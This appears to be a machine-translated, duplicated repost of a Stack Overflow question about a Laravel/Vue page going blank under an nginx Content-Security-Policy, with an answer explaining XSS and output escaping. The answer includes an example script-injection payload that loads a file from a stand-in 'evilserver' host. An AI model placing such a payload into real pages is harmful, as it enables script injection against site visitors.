Laravel Mix VueJS制作页面空白
Laravel Mix VueJS production page blank
经过长时间令人沮丧的研究，我终于找到了我的 Laravel7 VueJS（在 blade 模板中）应用程序 运行ning 在 nginx 上抛出空白屏幕的原因。但是我缺少解释或正确的配置。
当我访问任何路由时，它会显示大约 200 毫秒，然后在 npm run prod 配置中没有任何错误地切换到白屏。
正文标签将完全为空（在检查器中看起来没有注释）
[...]
<body>
<!-- -->
</body>
[...]
有趣的是（讽刺地说）在页面重新加载时登录页面会正常工作，但在访问任何其他路由后它会恢复到上述行为。
切换到 npm run dev 后，控制台抛出以下错误：
[Vue warn]: It seems you are using the standalone build of Vue.js in an environment with Content Security Policy that prohibits unsafe-eval. The template compiler cannot work in this environment. Consider relaxing the policy to allow unsafe-eval or pre-compiling your templates into render functions.
和
EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "default-src 'self' http: https: data: blob: 'unsafe-inline'".
这让我意识到我使用神奇的 Tool provided by DigitalOcean 生成的 nginx 安全配置包括以下行：
add_header Content-Security-Policy "default-src 'self' http: https: data: blob: 'unsafe-inline'" always;
删除并重新启动 nginx 后，一切正常，看起来就像在我的开发环境中一样。
从我得到的信息来看，我现在理论上让我的网站容易受到 XSS 攻击，但我不完全理解这个选项的作用，或者在这些情况下 运行 如果没有它是否安全。
CSP header 只是让您的浏览器知道哪些 JS 源是允许的。然而，它实际上是一个备份计划 - 导致 XSS 的原因是您系统上的一些代码会未经授权 JavaScript.
例如，Stack Overflow 上的评论框允许我输入以下文本：<script src="http://evilserver.com/malicious.js"></script>。 Stack Overflow 知道他们在做什么，所以他们确保呈现的是 HTML，而不是文字 <script> 标签。因此，您需要确保在呈现 用户提供的内容 时采取必要的谨慎措施，并且您会没事的（通常您在输出层执行此操作，而不是 accepting/storing输入）。
如果您接受来自用户的 HTML 输入（就像 Stack Overflow 所做的那样），那么您必须特别小心只允许某些标签，并确保阻止任何 JS 向量。所以，下面的文字：
实际上是在一个<i>标签中，它在网络应用程序中按字面意思呈现
那个可以，因为它很安全。您确实需要确保仔细检查所有属性，并拒绝任何无效标记。这些也可能是安全问题的根源。这是一个足够复杂的问题，如果您需要用户能够输入 HTML，您不应该尝试自己过滤它。请改用 well-tested 和 well-regarded 库。
经过长时间令人沮丧的研究，我终于找到了我的 Laravel7 VueJS（在 blade 模板中）应用程序 运行ning 在 nginx 上抛出空白屏幕的原因。但是我缺少解释或正确的配置。
当我访问任何路由时，它会显示大约 200 毫秒，然后在 npm run prod 配置中没有任何错误地切换到白屏。
正文标签将完全为空（在检查器中看起来没有注释）
[...]
<body>
<!-- -->
</body>
[...]
有趣的是（讽刺地说）在页面重新加载时登录页面会正常工作，但在访问任何其他路由后它会恢复到上述行为。
切换到 npm run dev 后，控制台抛出以下错误：
[Vue warn]: It seems you are using the standalone build of Vue.js in an environment with Content Security Policy that prohibits unsafe-eval. The template compiler cannot work in this environment. Consider relaxing the policy to allow unsafe-eval or pre-compiling your templates into render functions.
和
EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive:
"default-src 'self' http: https: data: blob: 'unsafe-inline'".
这让我意识到我使用神奇的 Tool provided by DigitalOcean 生成的 nginx 安全配置包括以下行：
add_header Content-Security-Policy "default-src 'self' http: https: data: blob: 'unsafe-inline'" always;
删除并重新启动 nginx 后，一切正常，看起来就像在我的开发环境中一样。
从我得到的信息来看，我现在理论上让我的网站容易受到 XSS 攻击，但我不完全理解这个选项的作用，或者在这些情况下 运行 如果没有它是否安全。
CSP header 只是让您的浏览器知道哪些 JS 源是允许的。然而，它实际上是一个备份计划 - 导致 XSS 的原因是您系统上的一些代码会未经授权 JavaScript.
例如，Stack Overflow 上的评论框允许我输入以下文本：<script src="http://evilserver.com/malicious.js"></script>。 Stack Overflow 知道他们在做什么，所以他们确保呈现的是 HTML，而不是文字 <script> 标签。因此，您需要确保在呈现 用户提供的内容 时采取必要的谨慎措施，并且您会没事的（通常您在输出层执行此操作，而不是 accepting/storing输入）。
如果您接受来自用户的 HTML 输入（就像 Stack Overflow 所做的那样），那么您必须特别小心只允许某些标签，并确保阻止任何 JS 向量。所以，下面的文字：
实际上是在一个<i>标签中，它在网络应用程序中按字面意思呈现
那个可以，因为它很安全。您确实需要确保仔细检查所有属性，并拒绝任何无效标记。这些也可能是安全问题的根源。这是一个足够复杂的问题，如果您需要用户能够输入 HTML，您不应该尝试自己过滤它。请改用 well-tested 和 well-regarded 库。